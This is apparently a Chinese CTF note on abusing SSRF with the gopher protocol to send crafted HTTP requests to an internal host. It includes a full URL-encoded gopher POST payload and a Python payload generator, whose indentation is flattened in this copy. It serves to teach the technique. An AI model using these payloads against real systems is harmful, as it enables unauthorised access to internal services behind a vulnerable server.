SSRF利用中的万能协议gopher

在一次CTF的SSRF利用中构造gopher协议对内网靶机构造post请求时出现了一些问题导致请求400,而原因大多都是构造出的gopher协议存在编码上的问题,现记录gopher协议构造方法。

gopher协议

构造gopher协议请求包,回车换行使用%0d%0a,然后进行url编码后发包。其他与http协议类似。

下面按照此要求构造一个gopher请求包。

GOPHER://172.21.0.2:8080/_POST /login HTTP/1.1%0d%0aHost: localhost:1000%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 31%0d%0a%0d%0ausername=admin&password=c9a5d20c9f84

往172.21.0.2:8080/login下发起post请求。带上必须要的http请求头字段,发起请求。

GET构造方式与其相似,下面贴上自动生成脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import  urllib.parse
agreement="GOPHER://"
host = "172.21.0.2:8080"
path = "/login"
RequestField = '''
Host:localhost:1000
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:31
'''
parameter='''
username=admin&password=admin
'''
RequestField = RequestField.split('\n')
RequestField.pop(0)
RequestField.pop(len(RequestField) - 1)
def payload(method):
if method == 'post':
payload = agreement+host+'/_POST '+path + ' HTTP/1.1'
for Filed in RequestField:
payload = payload+'%0d%0a'+Filed
payload = payload + "%0d%0a%0d%0a" + parameter
print(urllib.parse.quote(payload.replace('\n','')))
if method == 'get':
payload = agreement+host+'/_GET '+path+'?'+parameter+' HTTP/1.1'
for Filed in RequestField:
payload = payload + '%0d%0a' + Filed
print(urllib.parse.quote(payload.replace('\n','')))


payload('post')